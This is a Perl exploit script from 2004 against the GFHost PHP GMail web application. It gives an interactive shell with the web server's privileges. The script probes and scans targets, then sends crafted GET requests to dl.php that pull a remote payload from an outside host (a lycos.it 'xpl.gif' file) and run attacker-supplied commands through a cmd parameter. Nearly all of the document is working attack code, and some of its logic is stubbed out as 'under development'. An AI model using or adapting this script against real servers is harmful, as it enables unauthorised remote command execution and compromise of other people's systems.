GFHost PHP GMail remote command execution exploit that achieves webserver id privileges

##############################################
# GFHost explo
# Spawn bash style Shell with webserver uid
# Greetz SPAX, foxtwo, Zone-H
# This Script is currently under development
##############################################

use strict;
use IO::Socket;
my $host;  
my $port;  
my $command;  
my $url; 
my @results;  
my $probe;  
my @U;   
$U[1] = 
"/dl.php?a=0.1&OUR_FILE=ff24404eeac528b&f=http://utenti.lycos.it/z00/xpl.gif&cmd=";;
&intro;
&scan;
&choose;
&command;
&exit; 
sub intro {
&help;
&host;
&server;
sleep 1;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
}; 
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
 $output = $results[$X];
 if (defined $output){
 if ($output =~/apache/){ $webserver = "apache" };
 };
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK";
 };  
};  
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
         $status = "vulnerable";
         };
 };
if ($flag eq "0") { 
}else{
     };
};
if ($status eq "not_vulnerable"){

    };
}; 
sub choose {

my $choice="1";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
}; 
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  
sub command {
while ($command !~/quit/i) {
print "[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; 
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  
sub connect {
my $connection = IO::Socket::INET->new (
    Proto => "tcp",
    PeerAddr => "$host",
    PeerPort => "$port",
    ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.1\r\nHost: $host\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
};

while ( <$connection> ) { 
   @results = <$connection>;
    };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  
sub output{
my $display;
if ($probe eq "string") {
   my $X;
   for ($X=0; $X<=10; $X++) {
   $display = $results[$X];
   if (defined $display){print "$display";};
    };
   }else{
   foreach $display (@results){
       print "$display";
    };
                          };
};  
sub exit{
print "\n\n\n ORP";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
        GFHost PHP GMail 
        Command Execution Vulnerability by SPABAM 2004" ;
print "\n http://www.zone-h.org/advisories/read/id=4904
";
print "\n GFHost.pl Exploit v1.1";
print "\n \n note.. Script under DEVEL";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n Command: SCAN URL HELP QUIT";
print "\n\n\n\n\n\n\n\n\n\n\n";
};